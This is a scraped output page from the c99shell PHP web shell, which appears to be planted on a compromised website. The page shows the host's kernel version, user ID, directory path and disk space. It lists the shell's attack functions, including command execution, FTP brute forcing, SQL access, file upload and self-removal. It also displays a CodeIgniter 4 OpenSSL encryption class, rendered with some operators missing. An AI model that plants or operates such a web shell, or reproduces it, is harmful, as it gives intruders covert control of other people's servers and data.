smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Encryption/Handlers/   drwxr-xr-x
Free 3429.63 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     OpenSSLHandler.php (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Encryption\Handlers;

use 
CodeIgniter\Encryption\Exceptions\EncryptionException;

/**
 * Encryption handling for OpenSSL library
 */
class OpenSSLHandler extends BaseHandler
{
    
/**
     * HMAC digest to use
     *
     * @var string
     */
    
protected $digest 'SHA512';

    
/**
     * Cipher to use
     *
     * @var string
     */
    
protected $cipher 'AES-256-CTR';

    
/**
     * Starter key
     *
     * @var string
     */
    
protected $key '';

    
/**
     * {@inheritDoc}
     */
    
public function encrypt($data$params null)
    {
        
// Allow key override
        
if ($params) {
            
$this->key is_array($params) && isset($params['key']) ? $params['key'] : $params;
        }

        if (empty(
$this->key)) {
            throw 
EncryptionException::forNeedsStarterKey();
        }

        
// derive a secret key
        
$secret = \hash_hkdf($this->digest$this->key);

        
// basic encryption
        
$iv = ($ivSize = \openssl_cipher_iv_length($this->cipher)) ? \openssl_random_pseudo_bytes($ivSize) : null;

        
$data = \openssl_encrypt($data$this->cipher$secretOPENSSL_RAW_DATA$iv);

        if (
$data === false) {
            throw 
EncryptionException::forEncryptionFailed();
        }

        
$result $iv $data;

        
$hmacKey = \hash_hmac($this->digest$result$secrettrue);

        return 
$hmacKey $result;
    }

    
/**
     * {@inheritDoc}
     */
    
public function decrypt($data$params null)
    {
        
// Allow key override
        
if ($params) {
            
$this->key is_array($params) && isset($params['key']) ? $params['key'] : $params;
        }

        if (empty(
$this->key)) {
            throw 
EncryptionException::forNeedsStarterKey();
        }

        
// derive a secret key
        
$secret = \hash_hkdf($this->digest$this->key);

        
$hmacLength self::substr($this->digest3) / 8;
        
$hmacKey    self::substr($data0$hmacLength);
        
$data       self::substr($data$hmacLength);
        
$hmacCalc   = \hash_hmac($this->digest$data$secrettrue);

        if (! 
hash_equals($hmacKey$hmacCalc)) {
            throw 
EncryptionException::forAuthenticationFailed();
        }

        if (
$ivSize = \openssl_cipher_iv_length($this->cipher)) {
            
$iv   self::substr($data0$ivSize);
            
$data self::substr($data$ivSize);
        } else {
            
$iv null;
        }

        return \
openssl_decrypt($data$this->cipher$secretOPENSSL_RAW_DATA$iv);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0046 ]--